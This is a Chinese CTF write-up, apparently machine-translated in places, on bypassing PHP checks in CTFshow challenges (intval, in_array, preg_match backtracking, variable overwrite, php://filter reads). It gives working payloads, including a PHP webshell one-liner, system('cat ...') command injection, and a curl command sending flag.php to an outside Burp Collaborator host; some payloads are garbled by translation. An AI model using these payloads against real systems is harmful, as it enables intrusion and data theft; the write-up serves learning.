CTFshow PHP特性89-95:preg_match()函数绕过技巧与正则表达式匹配详解

ctf秀

CTFshow PHP特性89-95:preg_match()函数绕过技巧与正则表达式匹配详解

PHP 特性

89-95基本考察了一些PHP函数的功能及其绕过姿势,所以具体的题法就不记录了,只写了姿势。

预匹配()

该函数用于进行正则表达式匹配

语法:

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )

参数说明:

返回值(强调):

返回模式的匹配数。它的值将为 0(不匹配)或 1,因为 preg_match() 将在第一个匹配后停止搜索。 preg_match_all() 与此不同,它搜索主题直到到达末尾。如果发生错误 preg_match() 返回 FALSE。

绕行姿势:

如果不按照规定传入字符串,通常传入一个数组,就会报错,返回false,达到我们的目的。

整数值()

intval() 函数用于获取变量的整数值。

intval() 函数通过使用指定的基数转换(默认为十进制)返回变量 var 的整数值。 intval()不能用于object,否则会产生E_NOTICE错误并返回1。

语法:

int intval ( mixed $var [, int $base = 10 ] )

参数说明:

根据:

0??:八进制
0x??:十六进制
0b??:二进制

当主题:

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

可以通过以下方法绕过(向余大师学习):

intval('4476.0')===4476    小数点 #intval只识别整数部分
intval('+4476.0')===4476   正负号
intval('4476e0')===4476    科学计数法
intval('0x117c')===4476    16进制
intval('010574')===4476    8进制 #当题目过滤字母时,2和16进制都不好用
intval(' 010574')===4476   8进制+空格 #当要求存在0且0不是首位时
intval('0b1000101111100')===4476  2进制

web96(路径问题)


highlight_file(__FILE__);
if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

有效负载:

php://filter/read=convert.base64-encode/resource=flag.php #利用LFI来查看源码
/var/www/html/flag.php              绝对路径
./flag.php                          相对路径
php://filter/resource=flag.php      php伪协议 

网络98


include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

当我阅读源代码时,我很困惑,有些东西是第一次看到。

看了提示才知道这道题有两个考点:三元运算符和地址的传递(参考)。

我学过C语言的三元运算符,理解起来并不难。

三元运算符语法:条件?结果 1 : 结果 2

注:问号前面的位置是判断的条件。如果满足条件,则执行结果1,如果不满足,则执行结果2。

这段代码可以扩展

$_GET?$_GET=&$_POST:'flag';

一旦使用get方法传入参数,get方法就会变成post方法。到这里,就达到了修改get方法地址的目的。

if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地
址)
}else{
"flag";
}

中间两行代码不需要考虑,因为flag参数没有提交。只要使用get方法传入参数,然后贴出HTTP_FLAG=flag,就可以获取到flag了。

web99(in_array 弱类型比较)

源代码:


highlight_file(__FILE__);
$allow = array();    #创建空数组
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));  #在1-$i之间随机生成一个整数,添加到数组$allow尾部
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
?>

本题的突破点是in_array()函数

in_array()

in_array:(PHP 4、PHP 5、PHP 7)

功能:检查数组中是否存在某个值

定义: bool in_array ( mix $needle , array $haystack [, bool $strict = FALSE ] )

在 $haystack 中搜索 $needle。如果第三个参数$strict的值为TRUE,则in_array()函数将执行强检查,检查$needle的类型是否与$haystack中的类型相同。如果找到 $haystack,则返回 TRUE,否则返回 FALSE。

显然,本题使用in_array()函数时,第三个参数没有设置为TRUE,所以这是==的弱类型比较。

绕过方法:

传入n=1.php。因为PHP使用in_array()函数判断时,会强制将1.php转换为数字1,而数字1在range(1,24)数组中。当随机生成的数字恰好为 1 时,in_array() 函数将被绕过。判断,导致任意文件上传漏洞。

有效负载:

?n=1.php   
post:   content= eval($_POST[1]);?>  #写入一句话

多试几次,直到不报错,说明一句话成功传入了。

然后访问,然后post传入1=system('ls');

再次访问这个flag36d.php,即post: 1=system('cat flag36d.php');

然后查看网页源码中的flag

网络100

源代码:


highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }  
}

显然,需要传入三个参数来获取,并保证is_numeric($v1)和is_numeric($v2)和is_numeric($v3)的结果为True才可以继续执行,即至少满足其中之一v1、v2 和 v3 只是数字。

第二部分:

因为源码中有提示:flag in class ctfshow;,所以输出了一个新的“ctfshow”类,结构为:?v1=1&v2=echo new ReflectionClass&v3=;

获取flag_is_bde4fb430x2d62590x2d404f0x2dbaa30x2da2d6bd94ed98

将 ox2d 替换为 - 并在其上加上 {}

注意这里的v3只能包含;,可以是多个叠加,但不能有其他字符。

使用var_dump的解决方案:

var_dump() 函数

var_dump()函数用于输出有关变量的信息。

结构:

v1=1&v2=var_dump($ctfshow)/*&v3=*/;
v1=1&v2=var_dump($ctfshow)&v3=;

两种方法都可用。原理是直接打印ctfshow类的信息。

网络101

这个问题根据web100过滤掉了很多东西

而是直接:?v1=1&v2=echo new ReflectionClass&v3=;你可以获得旗帜

web102-103 hex2bin() 函数

功能:将十六进制值转换为ASCII字符

substr() 函数

语法:substr(字符串,开始,长度)

喜欢:


echo substr("Hello world",6);
?>

然后从第六位开始输出,即输出“world”

call_user_func() 函数

语法:call_user_func(PHP 4、PHP 5、PHP 7)

第一个参数被称为回调函数,其余参数为回调函数的参数。

源代码:


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?>

is_numeric在php5环境下可以识别十六进制。

首先将一个句子编码为十六进制并将其传递给 v2:

变成 0x3c3f706870206576616c28245f504f53545b315d293b3f3e

结构:

?v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
v1=hex2bin

但并没有写成功。查阅了老大的博客得知这里的版本可能是php7。这串十六进制的字符串不能被is_numeric()识别为数字,v2必须是纯数字组成。

这是老板的有效负载:

$a=';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
输出   5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。

同时,因为已经经过substr处理,所以v2前面必须添加任意两位数字。这里使用00。

最终施工:

v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php 帖子:v1=hex2bin

访问1.php并查看源码获取flag

网104,106

阵列旁路

web105(双 $$ 变量覆盖率)


highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;    #
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;  #
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

提示中给出的解决方案是:

GET: ?suces=flag POST: error=suces

首先分析一下这个get请求:

foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
#当传入suces=flag时,实际上执行的是$suces=$flag
#即把flag赋值给了suces变量

再看一下post请求:

foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
#传入error=suces,得到$error=$suces=$flag
#即成功把flag的值赋给了error变量

这样flag就可以成功回显

可以看到,在这个过程中,suces变量只起到了传递的作用,所以可以任意替换,即

GET: ?a=flag POST: error=a

目的也能达到

web107(parse_str变量覆盖)parse_str()

parse_str() 函数将查询字符串解析为变量。

注意:如果未设置数组参数,则该函数设置的变量将覆盖现有的同名变量。

注意:php.ini 文件中的 magic_quotes_gpc 设置会影响该函数的输出。如果启用,变量将在由 parse_str() 解析之前由addslashes() 转换。

Parse_str()函数导致的变量覆盖漏洞

parse_str() 函数用于将查询字符串解析为变量。如果没有数组参数,该函数设置的变量将覆盖已有的同名变量。强烈建议不要在没有数组参数的情况下使用此函数,并且 PHP 7.2 中将弃用不设置参数的行为。该函数没有返回值

要获取标志,v2 中的 flag 值需要与传入 v3 的 md5 值相同:

①普通结构:

get:?v3=1
post:v1=flag=c4ca4238a0b923820dcc509a6f75849b #md5解密后对应1

②md5绕过:

构造get:?v3=0,传入flag的值md5解密后,前两位为0e,PHP处理后会认为是0*10^n。所以结果为零,满足条件。

以0e开头的md5字符串

web108(截断)ereg() 函数

ereg() 函数使用指定的模式在字符串中搜索指定的字符串,如果匹配成功则返回 true,否则返回 false。搜索字母字符区分大小写。

可选输入参数规则包含所有匹配表达式的数组,按正则表达式括号分组。


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}
?>

本题将 c 限制为一个或多个大写和小写字母。

strrev() 函数

strrev() 函数反转字符串。

intval() 函数

intval() 函数用于获取变量的整数值。

这题还要求反转后c等于0x36d。要同时满足这两点,就需要使用截断。

最终有效负载:

?c=a%00778

web109(Exception异常处理类)


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}
?>

具体原理目前还不清楚。

有效负载:

?v1=Exception&v2=system('cat fl36dg.txt')
?v1=ReflectionClass&v2=system('cat fl36dg.txt')

网络110


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
    eval("echo new $v1($v2());");
}
?>

有效负载:

?v1=FilesystemIterator&v2=getcwd

构建完成后回显一个fl36dga.txt,访问时获取flag。

原则:

文件系统迭代器

获取指定目录下的所有文件

getcwd() 函数

获取当前工作目录并返回当前工作目录

网络111


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}
?>

这里,v1和v2被赋值,然后v2的值会被赋值给v1,覆盖v1的原始值。

超全局变量 $GLOBALS

官方说明

$GLOBALS — 指全局范围内可用的所有变量。包含所有变量的全局组合数组。变量的名称是数组的键。即通过$GLOBALS数组可以获取到已经出现过的全局变量。在PHP生命周期中,函数体外部定义的所谓全局变量,在函数内部是无法直接获取的。

有效负载:?v1=ctfshow&v2=GLOBALS

网络112


/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:49
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

只需使用过滤器伪协议直接读取文件即可:

?file=php://filter/resource=flag.php

网络113

与web112相比,多了一个限制过滤器

这里可以使用web112给出的姿势

?file=compress.zlib://flag.php

这个问题给出的预期解决方案有点难以理解。

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

老大的解释是:软连接超过20个就可以绕过is_file了。

网络114

这个问题过滤了压缩,但释放了过滤器。 。 。

function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}

直接阅读:

?file=php://filter/resource=flag.php

网络115

霍霸天小姐提问。本题开始考察新的内容。


/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:08:19
*/
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} hacker!!!

修剪功能

语法修剪(字符串,字符列表)

范围

字符串 — 必需。指定要检查的字符串。

charlist——可选。指定从字符串中删除哪些字符。如果省略此参数,则删除以下所有字符:

“\0”- 空

“\t”——制表符

“\n” - 换行符

“\x0B” - 垂直制表符

“\r”——回车

“ “ - 空间

测试修剪+is_numeric:


for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}
?>

所有可用的是

有效负载:num=36

网络123


/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

困难就在这里

if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g']))

PHP 变量名由数字、字母和下划线组成,不带 .

这里我从大佬的文章了解到,通过GET或者POST传入的变量名会自动转换空格+。 [ 进入 _。

有一个特殊情况。当GET或POST方式传递特殊字符[时,变量名中的[也会被_替换,但后面的字符不会被替换。

如CTF[SHOW.COM=>CTF_SHOW.COM

有效负载

POST: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

显然这个解决方案是出乎意料的,并且flag并不是通过正常步骤获得的。

提问者期望的解决方案

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

这是余老师测试的例子


$a=$_SERVER['argv'];
var_dump($a);
传入 a=1+fl0g=flag_give_me
结果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }

网络125

有效负载

GET:?1=flag.php 
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

网络126

这道题的姿势和web124期望的解法一样,即

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

网络127


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}
if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}
if($ctf_show==='ilove36d'){
    echo $flag;
}

Filtered_,绕过方法还是和web123一样

有效负载:

?ctf show=ilove36d

网络128


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} 

gettext() 的扩展应用

很酷的一个操作,参考文章:

关于php中gettext的使用?

获取文本

启用这个扩展后_()相当于gettext(),比如


echo gettext("phpinfo");
结果  phpinfo
echo _("phpinfo");
结果 phpinfo

call_user_func() 函数

call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

解释:

第一个参数callback是被调用的回调函数,其余参数是回调函数的参数。

所以 call_user_func('_','phpinfo') 相当于 gettext("phpinfo")

这个问题可以使用get_define_vars

get_defined_vars() 函数返回由所有已定义变量所组成的数组。

有效负载:?f1=_&f2=get_define_vars

网络129


error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

stripos() 函数

查找一个字符串在另一个字符串中第一次出现的位置(不区分大小写)

语法:stripos(字符串,查找,开始)

字符串——必填。指定要搜索的字符串。

查找——必填。指定要搜索的字符。

开始——可选。指定开始搜索的位置。

返回值:

返回一个字符串在另一个字符串中第一次出现的位置,如果未找到该字符串,则返回 FALSE。注意:字符串位置从0开始,而不是从1开始。

本题要求get传入参数,如果构造的f中有ctfshow,则会执行readfile函数,所以一定不能同时影响flag.php的读取。

各种姿势

?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../../../../var/www/html/flag.php
?f=./ctfshow/../flag.php

网络130


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

这个问题也很有趣。有很多方法可以解决它。第一种是利用最大次数的正则回溯来绕过它。

常规最大回溯绕过次数

回溯现象:

在PHP中,为了防止正则匹配调用的匹配进程过大,导致资源消耗过多,对正则匹配中调用匹配函数的次数进行了限制。回溯主要有两种类型

贪婪模式下,当模式部分匹配,但后半部分没有匹配时(匹配力太强,后半部分也匹配),当*和+出现时,很容易出现匹配回退操作。

非贪心模式下,字符串的一部分匹配了,但后半部分匹配不完全(匹配“不够强”,需要通配符匹配一定长度),这种情况在 *? 时很容易出现。和+?出现。

正则匹配时,当传入的字符串回溯次数超过限制(默认1000000,可调整)时,就会报错,返回false。

关于这个方法,标题中也给出了提示。

非常非常非常(省略25万非常)ctfshow

有效负载(py脚本):

import requests
url="http://07b28eb7-15d4-4250-be72-33a58b73dba1.chall.ctf.show/"
data={
	'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

执行后,由于超过了preg_match的回溯次数,因此报错,返回false,达到旁路效果。同时,由于POST中传入的f中有ctfshow,所以也绕过了第二个判断,输出了flag。

还有两个更厉害的姿势……

第一个是hint中给出的f=ctfshow,因为在第一个正则匹配中

if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }

。表示任意单个字符,+表示必须匹配1次或多次,+?表示重复1次或多次,但尽可能少重复

因此ctfshow前面必须至少有1个字符才会返回True。

另一种方法是绕过数组。当传入数组时,stripos会返回null,null!=false

有效负载:

POST:f=ctfshow
POST:f[]=a

网络131

要检查正则性的回溯绕过的最大数量,请使用上述问题中的第一个操作(记住将 ctfshow 更改为 36Dctfshow)

网络132

打开了一个奇怪的界面

检查robots.txt以找到提示并访问源代码。

禁止:/admin


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];
    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

mt_rand()

用于生成随机数

注意这个判断

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")

这里的三个都是强equals,不像弱equals那么容易绕过。而且,前两个条件可以说是不可能同时达到的。这里,使用比较运算符的优先级。

所以即使不满足前两个条件,只要满足第三个条件username==="admin",并且code=admin就可以输出flag。

有效负载:?用户名=admin&代码=admin&密码=1

网络133


error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

限制执行的前 6 个字符。这道题参考的是Firebasky大师的wp,是一个新姿势。具体原理参见大师博客。

首先打开burp并获取一个域名

有效负载:

?F=`$F`;+curl -X POST -F xx=@flag.php  http://r2ubea89bi2uhy4pkgqb7rdcc3iw6l.burpcollaborator.net

然后回来刷新,过一会儿就拿到flag了。

你可能想看:
« 上一篇
下一篇 »

相关推荐

php实时推送,php实地培训

2026年10月05日

46阅读

php乱码出现问号的原因,php乱码出现问号的原因有哪些

2026年10月05日

39阅读

php一句话木马,一句话木马ctf

2026年10月05日

41阅读

php获取数组长度,php中如何获取数组的长度

2026年10月05日

43阅读

php面试题库及答案,php程序员面试真题库

2026年10月05日

41阅读

phpcontent-type修改,php源码二次修改需要多少钱

2026年10月05日

38阅读